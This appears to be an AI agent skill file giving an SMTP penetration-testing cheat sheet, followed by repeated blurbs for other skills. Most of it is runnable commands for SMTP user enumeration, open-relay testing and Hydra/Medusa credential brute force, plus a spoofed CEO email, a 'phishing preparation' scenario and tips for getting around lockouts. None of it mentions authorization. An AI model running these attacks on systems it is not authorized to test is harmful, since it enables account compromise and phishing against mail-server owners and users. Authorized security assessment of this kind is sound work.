This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
npxskills add zebbern/claude-code-guide--skill "SMTP Penetration Testing"Loading…
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Identify SMTP servers and versions:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Retrieve SMTP server information:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Test available SMTP commands:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]
# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Test for unauthorized email relay:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>
Test for weak SMTP credentials:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
Test for command injection vulnerabilities:
# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header
Injected content
.
Email spoofing test:
# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.
Test encryption configuration:
# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465
# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
Check email authentication records:
# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
| Command | Purpose | Example |
|---|---|---|
| HELO | Identify client | HELO client.com |
| EHLO | Extended HELO | EHLO client.com |
| MAIL FROM | Set sender | MAIL FROM:<[email protected]> |
| RCPT TO | Set recipient | RCPT TO:<[email protected]> |
| DATA | Start message body | DATA |
| VRFY | Verify user | VRFY admin |
| EXPN | Expand alias | EXPN staff |
| QUIT | End session | QUIT |
| Code | Meaning |
|---|---|
| 220 | Service ready |
| 221 | Closing connection |
| 250 | OK / Requested action completed |
| 354 | Start mail input |
| 421 | Service not available |
| 450 | Mailbox unavailable |
| 550 | User unknown / Mailbox not found |
| 553 | Mailbox name not allowed |
| Tool | Command |
|---|---|
| smtp-user-enum | smtp-user-enum -M VRFY -U users.txt -t IP |
| Nmap | nmap --script smtp-enum-users -p 25 IP |
| Metasploit | use auxiliary/scanner/smtp/smtp_enum |
| Netcat | nc IP 25 then manual commands |
| Vulnerability | Risk | Test Method |
|---|---|---|
| Open Relay | High | Relay test with external recipient |
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
| Banner Disclosure | Low | Banner grabbing |
| Weak Auth | High | Brute force attack |
| No TLS | Medium | STARTTLS test |
| Missing SPF/DKIM | Medium | DNS record lookup |
Scenario: Full security assessment of mail server
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
Scenario: Enumerate valid users for phishing preparation
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
Scenario: Test and document open relay vulnerability
# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# If 250 OK - VULNERABLE
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.com
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
| Issue | Cause | Solution |
|---|---|---|
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
| Brute Force Blocked | Rate limiting/lockout | Slow down (hydra -W 5); use password spraying; check for fail2ban |
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).